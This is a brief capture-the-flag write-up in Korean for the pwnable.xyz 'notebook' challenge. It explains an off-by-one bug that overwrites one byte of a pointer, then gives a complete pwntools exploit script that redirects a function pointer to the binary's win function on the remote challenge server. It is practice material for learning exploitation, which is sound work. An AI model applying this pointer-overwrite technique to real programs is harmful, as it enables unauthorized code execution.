[pwnable.xyz]notebook

off-by-one 취약점 터져서 ptr 1바이트를 덮을 수 있어서 함수포인터 위치를 바꿀 수 있다. 그래서 title 입력할 때 win함수 주소를 넣어주고 rename으로 off-by-one 취약점을 이용해 win함수를 가르키게 바꿔주면 된다.

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./challenge')
# p = process('./challenge')
p = remote('svc.pwnable.xyz',30035)
libc = e.libc
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
win = e.symbols['win']
nbook = 0x0000000000602280
ptr = 0x0000000000602300

def make(size,title,note):
	sla('>','1')
	sla(':',str(size))
	sla(':',title)
	sla(':',note)

def edit(note):
	sla('>','2')
	sa(':',note)

def delete():
	sla('>','3')

def rename(name):
	sla('>','4')
	sa(':',name)

sla(':','A'*4)
make(32,p32(win)+'\x00'*4,'B')
rename('A'*127+'\x1c') # off-by-one
sla('>','2') # function ptr -> execute

p.interactive()